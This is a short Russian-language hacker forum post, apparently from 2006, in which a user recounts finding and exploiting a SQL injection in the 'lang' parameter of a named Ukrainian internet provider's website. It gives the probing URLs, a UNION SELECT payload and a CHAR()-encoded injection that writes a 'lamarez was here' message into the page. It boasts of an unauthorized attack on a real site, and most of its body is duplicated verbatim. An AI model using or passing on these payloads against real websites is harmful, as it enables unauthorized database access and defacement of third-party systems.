LAMAREZ
22.12.2006, 02:18
Читал я как то тему на античате что то про провайдеры спорили... хеколи чото там...
тут заметил линк...
http://www.intercom.net.ua/index.php?lang=1&menu_id=14==>
==>http://www.intercom.net.ua/index.php?lang='1&menu_id=14
увидил нечисть, пустая страница, но варнингов небыло...
затем решил проверить http://www.intercom.net.ua/index.php?lang=2-1&menu_id=14
и о чудо!)))
я увидил то же что и по адресу http://www.intercom.net.ua/index.php?lang=1&menu_id=14
кароче
==>http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,2/*&menu_id=14
потом собрал char на http://xtoolz.ru/files/char.php
и получил
http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,CHAR(32, 60,102,111,110,116,32,99,111,108,111,114,61,34,114 ,101,100,34,32,115,105,122,101,61,34,49,49,34,62,1 08,97,109,97,114,101,122,32,119,97,115,32,104,101, 114,101,32,61,41,41,60,47,102,111,110,116,62)/*&menu_id=14
тут заметил линк...
http://www.intercom.net.ua/index.php?lang=1&menu_id=14==>
==>http://www.intercom.net.ua/index.php?lang='1&menu_id=14
увидил нечисть, пустая страница, но варнингов небыло...
затем решил проверить http://www.intercom.net.ua/index.php?lang=2-1&menu_id=14
и о чудо!)))
я увидил то же что и по адресу http://www.intercom.net.ua/index.php?lang=1&menu_id=14
кароче
==>http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,2/*&menu_id=14
потом собрал char на http://xtoolz.ru/files/char.php
и получил
http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,CHAR(32, 60,102,111,110,116,32,99,111,108,111,114,61,34,114 ,101,100,34,32,115,105,122,101,61,34,49,49,34,62,1 08,97,109,97,114,101,122,32,119,97,115,32,104,101, 114,101,32,61,41,41,60,47,102,111,110,116,62)/*&menu_id=14